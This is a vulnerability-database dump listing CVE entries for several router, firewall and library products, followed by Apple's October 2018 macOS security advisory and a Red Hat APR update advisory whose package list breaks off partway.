VARIoT IoT vulnerabilities database
| VAR-201801-0537 | CVE-2017-15655 | Asus asuswrt Buffer error vulnerability |
CVSS V2: 9.3 CVSS V3: 9.6 Severity: CRITICAL |
Multiple buffer overflow vulnerabilities exist in the HTTPd server in Asus asuswrt version <=3.0.0.4.376.X. All have been fixed in version 3.0.0.4.378, but this vulnerability was not previously disclosed. Some end-of-life routers have this version as the newest and thus are vulnerable at this time. This vulnerability allows for RCE with administrator rights when the administrator visits several pages. Asus asuswrt Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. ASUSWRT is the unified firmware used by ASUS in its latest routers and is the web-based graphical user interface of the ASUS router. An attacker could exploit the vulnerability to remotely execute code with administrator privileges. HTTPd server is one of the HTTP servers
| VAR-201710-1426 | CVE-2017-7733 | Fortinet FortiOS Vulnerable to cross-site scripting |
CVSS V2: 4.3 CVSS V3: 6.1 Severity: MEDIUM |
A Cross-Site-Scripting (XSS) vulnerability in Fortinet FortiOS 5.4.0 to 5.4.5 and 5.6.0 allows a remote unauthenticated attacker to execute arbitrary javascript code via webUI "Login Disclaimer" redir parameter. Fortinet FortiOS Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. Fortinet FortiOS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Fortinet FortiOS 5.6.0 and 5.4.0 through 5.4.5 are vulnerable. Fortinet FortiOS is a set of security operating systems developed by Fortinet Corporation for the FortiGate network security platform. The system provides users with various security functions such as firewall, anti-virus, IPSec/SSL VPN, Web content filtering and anti-spam
| VAR-201710-0718 | CVE-2017-15567 | MorphoSmart 1300 Series access control vulnerability |
CVSS V2: 7.2 CVSS V3: 7.8 Severity: HIGH |
The certificate import component in IDEMIA (formerly Morpho) MorphoSmart 1300 Series (aka MSO 1300 Series) devices allows local users to obtain a command shell, and consequently gain privileges, via unspecified vectors. NOTE: the vendor disputes this because there is no command shell in the product or in the associated SDK. IDEMIA ( Old Morpho) MorphoSmart 1300 series ( alias MSO 1300 series ) Contains an access control vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. IDEMIA (formerly known as Morpho) MorphoSmart 1300 Series (also known as MSO 1300 Series) devices is a fingerprint identification device produced by French company IDEMIA (formerly known as Morpho). The certificate import component is one of the certificate import components. There is a security vulnerability in the certificate import module in IDEMIA MSO 1300 Series devices. A local attacker can exploit this vulnerability to obtain a command shell, thereby gaining privileges
| VAR-201710-0859 | CVE-2017-15805 | Cisco Small Business SA520 and SA540 Path traversal vulnerability in device firmware |
CVSS V2: 5.0 CVSS V3: 7.5 Severity: HIGH |
Cisco Small Business SA520 and SA540 devices with firmware 2.1.71 and 2.2.0.7 allow ../ directory traversal in scgi-bin/platform.cgi via the thispage parameter, for reading arbitrary files. CiscoSmallBusinessSA520 and SA540 are firewall devices of Cisco Systems of the United States. An attacker could exploit this vulnerability to read arbitrary files with the \342\200\230thispage\342\200\231 parameter
| VAR-201710-0928 | CVE-2017-12613 | Apache Portable Runtime Buffer error vulnerability |
CVSS V2: 3.6 CVSS V3: 7.1 Severity: HIGH |
When apr_time_exp*() or apr_os_exp_time*() functions are invoked with an invalid month field value in Apache Portable Runtime APR 1.6.2 and prior, out of bounds memory may be accessed in converting this value to an apr_time_exp_t value, potentially revealing the contents of a different static heap value or resulting in program termination, and may represent an information disclosure or denial of service vulnerability to applications which call these APR functions with unvalidated external input. Apache Portable Runtime Utility is prone to multiple information-disclosure vulnerabilities.
An attacker can exploit these issues to obtain sensitive information that may aid in further attacks. Failed exploit attempts will result in denial-of-service conditions.
Apache Portable Runtime Utility (APR-util) 1.6.2 and prior versions are vulnerable. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-2018-10-30-2 macOS Mojave 10.14.1, Security Update 2018-001
High Sierra, Security Update 2018-005 Sierra
macOS Mojave 10.14.1, Security Update 2018-001 High Sierra, and
Security Update 2018-005 Sierra are now available and address
the following:
afpserver
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: A remote attacker may be able to attack AFP servers through
HTTP clients
Description: An input validation issue was addressed with improved
input validation.
CVE-2018-4295: Jianjun Chen (@whucjj) from Tsinghua University and UC
Berkeley
AppleGraphicsControl
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
input validation.
CVE-2018-4410: an anonymous researcher working with Trend Micro's
Zero Day Initiative
AppleGraphicsControl
Available for: macOS High Sierra 10.13.6
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2018-4417: Lee of the Information Security Lab Yonsei University
working with Trend Micro's Zero Day Initiative
APR
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: Multiple buffer overflow issues existed in Perl
Description: Multiple issues in Perl were addressed with improved
memory handling.
CVE-2017-12613: Craig Young of Tripwire VERT
CVE-2017-12618: Craig Young of Tripwire VERT
ATS
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: A malicious application may be able to elevate privileges
Description: A memory corruption issue was addressed with improved
input validation.
CVE-2018-4411: lilang wu moony Li of Trend Micro working with Trend
Micro's Zero Day Initiative
ATS
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: An application may be able to read restricted memory
Description: An out-of-bounds read was addressed with improved bounds
checking.
CVE-2018-4308: Mohamed Ghannam (@_simo36)
CFNetwork
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero
Day Initiative
CoreAnimation
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4415: Liang Zhuo working with Beyond Security's SecuriTeam
Secure Disclosure
CoreCrypto
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: An attacker may be able to exploit a weakness in the
Miller-Rabin primality test to incorrectly identify prime numbers
Description: An issue existed in the method for determining prime
numbers. This issue was addressed by using pseudorandom bases for
testing of primes.
CVE-2018-4398: Martin Albrecht, Jake Massimo and Kenny Paterson of
Royal Holloway, University of London, and Juraj Somorovsky of Ruhr
University, Bochum
CoreFoundation
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: A malicious application may be able to elevate privileges
Description: A memory corruption issue was addressed with improved
input validation.
CVE-2018-4412: The UK's National Cyber Security Centre (NCSC)
CUPS
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: In certain configurations, a remote attacker may be able to
replace the message content from the print server with arbitrary
content
Description: An injection issue was addressed with improved
validation.
CVE-2018-4153: Michael Hanselmann of hansmi.ch
CUPS
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: An attacker in a privileged position may be able to perform a
denial of service attack
Description: A denial of service issue was addressed with improved
validation.
CVE-2018-4406: Michael Hanselmann of hansmi.ch
Dictionary
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: Parsing a maliciously crafted dictionary file may lead to
disclosure of user information
Description: A validation issue existed which allowed local file
access. This was addressed with input sanitization.
CVE-2018-4346: Wojciech ReguAa (@_r3ggi) of SecuRing
Dock
Available for: macOS Mojave 10.14
Impact: A malicious application may be able to access restricted
files
Description: This issue was addressed by removing additional
entitlements.
CVE-2018-4403: Patrick Wardle of Digita Security
dyld
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: A malicious application may be able to elevate privileges
Description: A logic issue was addressed with improved validation.
CVE-2018-4423: an anonymous researcher
EFI
Available for: macOS High Sierra 10.13.6
Impact: Systems with microprocessors utilizing speculative execution
and speculative execution of memory reads before the addresses of all
prior memory writes are known may allow unauthorized disclosure of
information to an attacker with local user access via a side-channel
analysis
Description: An information disclosure issue was addressed with a
microcode update. This ensures that older data read from
recently-written-to addresses cannot be read via a speculative
side-channel.
CVE-2018-3639: Jann Horn (@tehjh) of Google Project Zero (GPZ), Ken
Johnson of the Microsoft Security Response Center (MSRC)
EFI
Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14
Impact: A local user may be able to modify protected parts of the
file system
Description: A configuration issue was addressed with additional
restrictions.
CVE-2018-4342: Timothy Perfitt of Twocanoes Software
Foundation
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: Processing a maliciously crafted text file may lead to a
denial of service
Description: A denial of service issue was addressed with improved
validation.
CVE-2018-4304: jianan.huang (@Sevck)
Grand Central Dispatch
Available for: macOS High Sierra 10.13.6
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4426: Brandon Azad
Heimdal
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4331: Brandon Azad
Hypervisor
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: Systems with microprocessors utilizing speculative execution
and address translations may allow unauthorized disclosure of
information residing in the L1 data cache to an attacker with local
user access with guest OS privilege via a terminal page fault and a
side-channel analysis
Description: An information disclosure issue was addressed by
flushing the L1 data cache at the virtual machine entry.
CVE-2018-3646: Baris Kasikci, Daniel Genkin, Ofir Weisse, and Thomas
F. Wenisch of University of Michigan, Mark Silberstein and Marina
Minkin of Technion, Raoul Strackx, Jo Van Bulck, and Frank Piessens
of KU Leuven, Rodrigo Branco, Henrique Kawakami, Ke Sun, and Kekai Hu
of Intel Corporation, Yuval Yarom of The University of Adelaide
Hypervisor
Available for: macOS Sierra 10.12.6
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption vulnerability was addressed with
improved locking.
CVE-2018-4242: Zhuo Liang of Qihoo 360 Nirvan Team
ICU
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: Processing a maliciously crafted string may lead to heap
corruption
Description: A memory corruption issue was addressed with improved
input validation.
CVE-2018-4394: an anonymous researcher
Intel Graphics Driver
Available for: macOS Sierra 10.12.6
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4334: Ian Beer of Google Project Zero
Intel Graphics Driver
Available for: macOS High Sierra 10.13.6
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2018-4396: Yu Wang of Didi Research America
CVE-2018-4418: Yu Wang of Didi Research America
Intel Graphics Driver
Available for: macOS High Sierra 10.13.6
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
input validation.
CVE-2018-4350: Yu Wang of Didi Research America
IOGraphics
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4422: an anonymous researcher working with Trend Micro's
Zero Day Initiative
IOHIDFamily
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: A malicious application may be able to execute arbitrary code
with kernel privileges
Description: A memory corruption issue was addressed with improved
input validation
CVE-2018-4408: Ian Beer of Google Project Zero
IOKit
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4402: Proteas of Qihoo 360 Nirvan Team
IOKit
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: A malicious application may be able to break out of its
sandbox
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4341: Ian Beer of Google Project Zero
CVE-2018-4354: Ian Beer of Google Project Zero
IOUserEthernet
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4401: Apple
IPSec
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: An application may be able to gain elevated privileges
Description: An out-of-bounds read was addressed with improved input
validation.
CVE-2018-4371: Tim Michaud (@TimGMichaud) of Leviathan Security Group
Kernel
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed by removing the
vulnerable code.
CVE-2018-4420: Mohamed Ghannam (@_simo36)
Kernel
Available for: macOS High Sierra 10.13.6
Impact: A malicious application may be able to leak sensitive user
information
Description: An access issue existed with privileged API calls. This
issue was addressed with additional restrictions.
CVE-2018-4399: Fabiano Anemone (@anoane)
Kernel
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4340: Mohamed Ghannam (@_simo36)
CVE-2018-4419: Mohamed Ghannam (@_simo36)
CVE-2018-4425: cc working with Trend Micro's Zero Day Initiative,
Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero
Day Initiative
Kernel
Available for: macOS Sierra 10.12.6
Impact: Mounting a maliciously crafted NFS network share may lead to
arbitrary code execution with system privileges
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2018-4259: Kevin Backhouse of Semmle and LGTM.com
CVE-2018-4286: Kevin Backhouse of Semmle and LGTM.com
CVE-2018-4287: Kevin Backhouse of Semmle and LGTM.com
CVE-2018-4288: Kevin Backhouse of Semmle and LGTM.com
CVE-2018-4291: Kevin Backhouse of Semmle and LGTM.com
Kernel
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed with
improved memory handling.
CVE-2018-4413: Juwei Lin (@panicaII) of TrendMicro Mobile Security
Team
Kernel
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: An attacker in a privileged network position may be able to
execute arbitrary code
Description: A memory corruption issue was addressed with improved
validation.
CVE-2018-4407: Kevin Backhouse of Semmle Ltd.
Kernel
Available for: macOS Mojave 10.14
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A buffer overflow was addressed with improved size
validation.
CVE-2018-4424: Dr. Silvio Cesare of InfoSect
Login Window
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: A local user may be able to cause a denial of service
Description: A validation issue was addressed with improved logic.
CVE-2018-4348: Ken Gannon of MWR InfoSecurity and Christian Demko of
MWR InfoSecurity
Mail
Available for: macOS Mojave 10.14
Impact: Processing a maliciously crafted mail message may lead to UI
spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2018-4389: Dropbox Offensive Security Team, Theodor Ragnar
Gislason of Syndis
mDNSOffloadUserClient
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4326: an anonymous researcher working with Trend Micro's
Zero Day Initiative, Zhuo Liang of Qihoo 360 Nirvan Team
MediaRemote
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: A sandboxed process may be able to circumvent sandbox
restrictions
Description: An access issue was addressed with additional sandbox
restrictions.
CVE-2018-4310: CodeColorist of Ant-Financial LightYear Labs
Microcode
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: Systems with microprocessors utilizing speculative execution
and that perform speculative reads of system registers may allow
unauthorized disclosure of system parameters to an attacker with
local user access via a side-channel analysis
Description: An information disclosure issue was addressed with a
microcode update. This ensures that implementation specific system
registers cannot be leaked via a speculative execution side-channel.
CVE-2018-3640: Innokentiy Sennovskiy from BiZone LLC (bi.zone),
Zdenek Sojka, Rudolf Marek and Alex Zuepke from SYSGO AG (sysgo.com)
NetworkExtension
Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14
Impact: Connecting to a VPN server may leak DNS queries to a DNS
proxy
Description: A logic issue was addressed with improved state
management.
CVE-2018-4369: an anonymous researcher
Perl
Available for: macOS Sierra 10.12.6
Impact: Multiple buffer overflow issues existed in Perl
Description: Multiple issues in Perl were addressed with improved
memory handling.
CVE-2018-6797: Brian Carpenter
Ruby
Available for: macOS Sierra 10.12.6
Impact: A remote attacker may be able to cause unexpected application
termination or arbitrary code execution
Description: Multiple issues in Ruby were addressed in this update.
CVE-2017-898
CVE-2017-10784
CVE-2017-14033
CVE-2017-14064
CVE-2017-17405
CVE-2017-17742
CVE-2018-6914
CVE-2018-8777
CVE-2018-8778
CVE-2018-8779
CVE-2018-8780
Security
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: Processing a maliciously crafted S/MIME signed message may
lead to a denial of service
Description: A validation issue was addressed with improved logic.
CVE-2018-4400: Yukinobu Nagayasu of LAC Co., Ltd.
Security
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: A local user may be able to cause a denial of service
Description: This issue was addressed with improved checks.
CVE-2018-4395: Patrick Wardle of Digita Security
Spotlight
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4393: Lufeng Li
Symptom Framework
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6
Impact: An application may be able to read restricted memory
Description: An out-of-bounds read was addressed with improved bounds
checking.
CVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero
Day Initiative
WiFi
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14
Impact: An attacker in a privileged position may be able to perform a
denial of service attack
Description: A denial of service issue was addressed with improved
validation.
CVE-2018-4368: Milan Stute and Alex Mariotto of Secure Mobile
Networking Lab at Technische UniversitA$?t Darmstadt
Additional recognition
Calendar
We would like to acknowledge an anonymous researcher for their
assistance.
iBooks
We would like to acknowledge Sem VoigtlA$?nder of Fontys Hogeschool
ICT for their assistance.
Kernel
We would like to acknowledge Brandon Azad for their assistance.
LaunchServices
We would like to acknowledge Alok Menghrajani of Square for their
assistance.
Quick Look
We would like to acknowledge lokihardt of Google Project Zero for
their assistance.
Security
We would like to acknowledge Marinos Bernitsas of Parachute for their
assistance.
Terminal
We would like to acknowledge an anonymous researcher for their
assistance.
Installation note:
macOS Mojave 10.14.1, Security Update 2018-001 High Sierra, and
Security Update 2018-005 Sierra may be obtained from the
Mac App Store or Apple's Software Downloads web site:
https://support.apple.com/downloads/
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQJdBAEBCABHFiEEDNXJVNCJJEAVmJdZeC9tht7TK3EFAlvYkgYpHHByb2R1Y3Qt
c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQeC9tht7TK3EcGQ//
QbUbTOZRgxcStGZjs+qdXjeaXI6i1MKaky7o/iYCXf87crFu79PCsXyPU1jeMvoS
tgDxz7ornlyaxR4wcSYzfcuIeY2ZH+dkxc7JJHQbKTW1dWYHpXUUzzNm+Ay/Gtk+
2EIAgJ9oUf8FARR5cmcKBZfLFVdc40vpM3bBCV4m2Kr5KiDsqZKdZTujBQRccAsO
HKRbhDecw0WX/CfEbLprs86uIXFMIoifhmh8LMebjzIQn2ozoFG6R31vMMHeDpir
zf0xlVCJrJy/XywmkodhBWWrUWcM0hfsJ8EmyIBwFEYUxFhOV3D+x3rStd2kjyNL
LG9oWclxDkjImQXdrL8IRAQfZvcVQFZK2vSGCYfRN0LY105sxjPjeIsJ0RORzcSN
2mlDR1UuTosk0GleDbmhv/ornfOc537UebwuHVWU5LpPNFkvY1Cv8zPrQAHewuod
TmktkNuv2x2fgw9g7ntE88UBF9JMC+Ofs/FgJ67RkoT4R39P7VvaztHlmxmr/rIw
TrSs7TDVqciz+DOMRKxyNPI1cpXM5ITCTvgbY4+RWwaFJzfgY+Gc+sldvVcb1x9I
LlsI19MA0bsvi+ReOcLbWYuEHaVhVqZ7LndxR9m2gJ39L9jff+dOsSlznF4OLs+S
t7Rz6i2mOpe6vXobkTUmml3m3zYIhL3XcdcYpw3U0F8=
=uhgi
-----END PGP SIGNATURE-----
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Important: apr security update
Advisory ID: RHSA-2018:1253-01
Product: Red Hat Enterprise Linux
Advisory URL: https://access.redhat.com/errata/RHSA-2018:1253
Issue date: 2018-04-26
CVE Names: CVE-2017-12613
=====================================================================
1. Summary:
An update for apr is now available for Red Hat Enterprise Linux 6.4
Advanced Update Support, Red Hat Enterprise Linux 6.5 Advanced Update
Support, Red Hat Enterprise Linux 6.6 Advanced Update Support, Red Hat
Enterprise Linux 6.6 Telco Extended Update Support, Red Hat Enterprise
Linux 6.7 Extended Update Support, Red Hat Enterprise Linux 7.2 Advanced
Update Support, Red Hat Enterprise Linux 7.2 Telco Extended Update Support,
Red Hat Enterprise Linux 7.2 Update Services for SAP Solutions, and Red Hat
Enterprise Linux 7.3 Extended Update Support.
Red Hat Product Security has rated this update as having a security impact
of Important. A Common Vulnerability Scoring System (CVSS) base score,
which gives a detailed severity rating, is available for each vulnerability
from the CVE link(s) in the References section.
2. Relevant releases/architectures:
Red Hat Enterprise Linux ComputeNode Optional EUS (v. 7.3) - x86_64
Red Hat Enterprise Linux HPC Node EUS (v. 6.7) - x86_64
Red Hat Enterprise Linux HPC Node Optional EUS (v. 6.7) - x86_64
Red Hat Enterprise Linux Server AUS (v. 6.4) - x86_64
Red Hat Enterprise Linux Server AUS (v. 6.5) - x86_64
Red Hat Enterprise Linux Server AUS (v. 6.6) - x86_64
Red Hat Enterprise Linux Server AUS (v. 7.2) - x86_64
Red Hat Enterprise Linux Server E4S (v. 7.2) - ppc64le, x86_64
Red Hat Enterprise Linux Server EUS (v. 6.7) - i386, ppc64, s390x, x86_64
Red Hat Enterprise Linux Server EUS (v. 7.3) - ppc64, ppc64le, s390x, x86_64
Red Hat Enterprise Linux Server TUS (v. 6.6) - x86_64
Red Hat Enterprise Linux Server TUS (v. 7.2) - x86_64
3. Description:
The Apache Portable Runtime (APR) is a portability library used by the
Apache HTTP Server and other projects. It provides a free library of C data
structures and routines.
Security Fix(es):
* apr: Out-of-bounds array deref in apr_time_exp*() functions
(CVE-2017-12613)
For more details about the security issue(s), including the impact, a CVSS
score, and other related information, refer to the CVE page(s) listed in
the References section.
4. Solution:
For details on how to apply this update, which includes the changes
described in this advisory, refer to:
https://access.redhat.com/articles/11258
Applications using the APR libraries, such as httpd, must be restarted for
this update to take effect.
5. Bugs fixed (https://bugzilla.redhat.com/):
1506523 - CVE-2017-12613 apr: Out-of-bounds array deref in apr_time_exp*() functions
6. Package List:
Red Hat Enterprise Linux HPC Node EUS (v. 6.7):
Source:
apr-1.3.9-5.el6_7.1.src.rpm
x86_64:
apr-1.3.9-5.el6_7.1.i686.rpm
apr-1.3.9-5.el6_7.1.x86_64.rpm
apr-debuginfo-1.3.9-5.el6_7.1.i686.rpm
apr-debuginfo-1.3.9-5.el6_7.1.x86_64.rpm
Red Hat Enterprise Linux HPC Node Optional EUS (v. 6.7):
x86_64:
apr-debuginfo-1.3.9-5.el6_7.1.i686.rpm
apr-debuginfo-1.3.9-5.el6_7.1.x86_64.rpm
apr-devel-1.3.9-5.el6_7.1.i686.rpm
apr-devel-1.3.9-5.el6_7.1.x86_64.rpm
Red Hat Enterprise Linux Server AUS (v. 6.4):
Source:
apr-1.3.9-5.el6_4.1.src.rpm
x86_64:
apr-1.3.9-5.el6_4.1.i686.rpm
apr-1.3.9-5.el6_4.1.x86_64.rpm
apr-debuginfo-1.3.9-5.el6_4.1.i686.rpm
apr-debuginfo-1.3.9-5.el6_4.1.x86_64.rpm
apr-devel-1.3.9-5.el6_4.1.i686.rpm
apr-devel-1.3.9-5.el6_4.1.x86_64.rpm
Red Hat Enterprise Linux Server AUS (v. 6.5):
Source:
apr-1.3.9-5.el6_5.1.src.rpm
x86_64:
apr-1.3.9-5.el6_5.1.i686.rpm
apr-1.3.9-5.el6_5.1.x86_64.rpm
apr-debuginfo-1.3.9-5.el6_5.1.i686.rpm
apr-debuginfo-1.3.9-5.el6_5.1.x86_64.rpm
apr-devel-1.3.9-5.el6_5.1.i686.rpm
apr-devel-1.3.9-5.el6_5.1.x86_64.rpm
Red Hat Enterprise Linux Server AUS (v. 6.6):
Source:
apr-1.3.9-5.el6_6.1.src.rpm
x86_64:
apr-1.3.9-5.el6_6.1.i686.rpm
apr-1.3.9-5.el6_6.1.x86_64.rpm
apr-debuginfo-1.3.9-5.el6_6.1.i686.rpm
apr-debuginfo-1.3.9-5.el6_6.1.x86_64.rpm
apr-devel-1.3.9-5.el6_6.1.i686.rpm
apr-devel-1.3.9-5.el6_6.1.x86_64.rpm
Red Hat Enterprise Linux Server TUS (v. 6.6):
Source:
apr-1.3.9-5.el6_6.1.src.rpm
x86_64:
apr-1.3.9-5.el6_6.1.i686.rpm
apr-1.3.9-5.el6_6.1.x86_64.rpm
apr-debuginfo-1.3.9-5.el6_6.1.i686.rpm
apr-debuginfo-1.3.9-5.el6_6.1.x86_64.rpm
apr-devel-1.3.9-5.el6_6.1.i686.rpm
apr-devel-1.3.9-5.el6_6.1.x86_64.rpm
Red Hat Enterprise Linux Server EUS (v. 6.7):
Source:
apr-1.3.9-5.el6_7.1.src.rpm
i386:
apr-1.3.9-5.el6_7.1.i686.rpm
apr-debuginfo-1.3.9-5.el6_7.1.i686.rpm
apr-devel-1.3.9-5.el6_7.1.i686.rpm
ppc64:
apr-1.3.9-5.el6_7.1.ppc.rpm
apr-1.3.9-5.el6_7.1.ppc64.rpm
apr-debuginfo-1.3.9-5.el6_7.1.ppc.rpm
apr-debuginfo-1.3.9-5.el6_7.1.ppc64.rpm
apr-devel-1.3.9-5.el6_7.1.ppc.rpm
apr-devel-1.3.9-5.el6_7.1.ppc64.rpm
s390x:
apr-1.3.9-5.el6_7.1.s390.rpm
apr-1.3.9-5.el6_7.1.s390x.rpm
apr-debuginfo-1.3.9-5.el6_7.1.s390.rpm
apr-debuginfo-1.3.9-5.el6_7.1.s390x.rpm
apr-devel-1.3.9-5.el6_7.1.s390.rpm
apr-devel-1.3.9-5.el6_7.1.s390x.rpm
x86_64:
apr-1.3.9-5.el6_7.1.i686.rpm
apr-1.3.9-5.el6_7.1.x86_64.rpm
apr-debuginfo-1.3.9-5.el6_7.1.i686.rpm
apr-debuginfo-1.3.9-5.el6_7.1.x86_64.rpm
apr-devel-1.3.9-5.el6_7.1.i686.rpm
apr-devel-1.3.9-5.el6_7.1.x86_64.rpm
Red Hat Enterprise Linux ComputeNode Optional EUS (v. 7.3):
Source:
apr-1.4.8-3.el7_3.1.src.rpm
x86_64:
apr-1.4.8-3.el7_3.1.i686.rpm
apr-1.4.8-3.el7_3.1.x86_64.rpm
apr-debuginfo-1.4.8-3.el7_3.1.i686.rpm
apr-debuginfo-1.4.8-3.el7_3.1.x86_64.rpm
apr-devel-1.4.8-3.el7_3.1.i686.rpm
apr-devel-1.4.8-3.el7_3.1.x86_64.rpm
Red Hat Enterprise Linux Server AUS (v. 7.2):
Source:
apr-1.4.8-3.el7_2.1.src.rpm
x86_64:
apr-1.4.8-3.el7_2.1.i686.rpm
apr-1.4.8-3.el7_2.1.x86_64.rpm
apr-debuginfo-1.4.8-3.el7_2.1.i686.rpm
apr-debuginfo-1.4.8-3.el7_2.1.x86_64.rpm
apr-devel-1.4.8-3.el7_2.1.i686.rpm
apr-devel-1.4.8-3.el7_2.1.x86_64.rpm
Red Hat Enterprise Linux Server E4S (v. 7.2):
Source:
apr-1.4.8-3.el7_2.1.src.rpm
ppc64le:
apr-1.4.8-3.el7_2.1.ppc64le.rpm
apr-debuginfo-1.4.8-3.el7_2.1.ppc64le.rpm
apr-devel-1.4.8-3.el7_2.1.ppc64le.rpm
x86_64:
apr-1.4.8-3.el7_2.1.i686.rpm
apr-1.4.8-3.el7_2.1.x86_64.rpm
apr-debuginfo-1.4.8-3.el7_2.1.i686.rpm
apr-debuginfo-1.4.8-3.el7_2.1.x86_64.rpm
apr-devel-1.4.8-3.el7_2.1.i686.rpm
apr-devel-1.4.8-3.el7_2.1.x86_64.rpm
Red Hat Enterprise Linux Server TUS (v. 7.2):
Source:
apr-1.4.8-3.el7_2.1.src.rpm
x86_64:
apr-1.4.8-3.el7_2.1.i686.rpm
apr-1.4.8-3.el7_2.1.x86_64.rpm
apr-debuginfo-1.4.8-3.el7_2.1.i686.rpm
apr-debuginfo-1.4.8-3.el7_2.1.x86_64.rpm
apr-devel-1.4.8-3.el7_2.1.i686.rpm
apr-devel-1.4.8-3.el7_2.1.x86_64.rpm
Red Hat Enterprise Linux Server EUS (v. 7.3):
Source:
apr-1.4.8-3.el7_3.1.src.rpm
ppc64:
apr-1.4.8-3.el7_3.1.ppc.rpm
apr-1.4.8-3.el7_3.1.ppc64.rpm
apr-debuginfo-1.4.8-3.el7_3.1.ppc.rpm
apr-debuginfo-1.4.8-3.el7_3.1.ppc64.rpm
